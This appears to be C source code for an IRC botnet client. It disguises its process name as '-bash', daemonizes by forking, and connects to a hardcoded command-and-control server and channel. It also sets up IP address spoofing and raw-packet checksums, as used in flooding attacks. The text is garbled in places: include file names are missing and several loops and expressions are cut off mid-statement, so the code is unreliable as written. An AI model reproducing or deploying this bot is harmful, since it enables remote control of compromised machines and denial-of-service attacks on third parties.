#define FAKENAME "-bash" #define CHAN "#kingskrown" #define KEY "bleh" int numservers=1; char *servers[] = { "irc.kingskrown.com", (void*)0 }; #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include int sock,changeservers=0; char *server, *chan, *key, *nick, *ident, *user, disabled=0, execfile[256],dispass[256]; unsigned int *pids; unsigned long spoofs=0, spoofsm=0, numpids=0; int strwildmatch(const char* pattern, const char* string) { switch(*pattern) { case '\0': return *string; case '*': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1)); case '?': return !(*string && !strwildmatch(pattern+1, string+1)); default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1)); } } int Send(int sock, char *words, ...) { static char textBuffer[1024]; va_list args; va_start(args, words); vsprintf(textBuffer, words, args); va_end(args); return write(sock,textBuffer,strlen(textBuffer)); } char *makestring() { char *tmp; int len=(rand()%5)+4,i; FILE *file; tmp=(char*)malloc(len+1); memset(tmp,0,len+1); if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); } void _376(int sock, char *sender, char *str) { Send(sock,"MODE %s -xi\n",nick); Send(sock,"JOIN %s :%s\n",chan,key); Send(sock,"WHO %s\n",nick); } void _PING(int sock, char *sender, char *str) { Send(sock,"PONG %s\n",str); } void _352(int sock, char *sender, char *str) { int i,d; char *msg=str; struct hostent *hostm; unsigned long m; for (i=0,d=0;d<5;d++) { for (;ih_addr, hostm->h_length); } ((char*)&spoofs)[3]=((char*)&m)[0]; ((char*)&spoofs)[2]=((char*)&m)[1]; ((char*)&spoofs)[1]=((char*)&m)[2]; ((char*)&spoofs)[0]=0; spoofsm=256; } } void _433(int sock, char *sender, char *str) { free(nick); nick=makestring(); } void _NICK(int sock, char *sender, char *str) { int i; for (i=0;ih_addr, (char*)&srv.sin_addr, hp->h_length); } else srv.sin_addr.s_addr=inet_addr(server); srv.sin_family = AF_INET; srv.sin_port = htons(6667); ioctl(sock,FIONBIO,&flag); start=time(NULL); while(time(NULL)-start < 10) { errno=0; if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) { setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0); setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0); setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0); return; } if (!(errno == EINPROGRESS ||errno == EALREADY)) break; sleep(1); } server=NULL; close(sock); goto start; } int main(int argc, char **argv) { int on,i; char cwd[256],*str; FILE *file; if (fork()) exit(0); srand((time(NULL) ^ getpid()) + getppid()); nick=makestring(); ident=makestring(); user=makestring(); chan=CHAN; key=KEY; server=NULL; repeat: con(); Send(sock,"NICK %s\nUSER %s localhost localhost :%s\n",nick,ident,user); while(1) { unsigned long i; fd_set n; struct timeval tv; FD_ZERO(&n); FD_SET(sock,&n); tv.tv_sec=60*20; tv.tv_usec=0; if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto repeat; for (i=0;i 0) { unsigned int *newpids,on; for (on=i+1;on